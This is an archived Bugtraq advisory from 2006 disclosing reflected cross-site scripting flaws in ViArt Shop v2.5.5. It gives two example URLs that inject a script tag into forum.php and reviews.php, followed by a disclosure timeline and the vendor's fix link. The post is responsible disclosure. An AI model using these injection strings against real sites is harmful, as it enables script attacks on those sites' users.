Bugtraq mailing list archives
[NOBYTES.COM: #12] ViArt Shop v2.5.5 - XSS Vulnerability
From: "John Cobb" <johnc () nobytes com>
Date: Wed, 7 Jun 2006 22:08:51 +0100
ViArt Shop v2.5.5 Free (and possibly Light, Standard, and Enterprise) Authors Site: http://www.codetosell.com/ +-[Examples:]--------------------------------------------------+ XSS: /forum.php?forum_id="><script>alert('XSS');</script>&category_id=1 /reviews.php?category_id=0&item_id=4&rnd=1149618267&action=1&item_id="><scri pt>alert('XSS');</script>&category_id=0&recommended=1&rating=0&summary=1&com ments=1&user_name=1 +-[Notes:]-----------------------------------------------------+ Vulnerabilities found on: 6 June 2006 Author(s) Informed on: 7 June 2006 Author(s) Response: 7 June 2006 Author(s) Fix: 7 June 2006 Authors Fix: http://www.codetosell.com/downloads/xss_fix.zip JohnC () NoBytes com http://www.NoBytes.com
Current thread:
- [NOBYTES.COM: #12] ViArt Shop v2.5.5 - XSS Vulnerability John Cobb (Jun 08)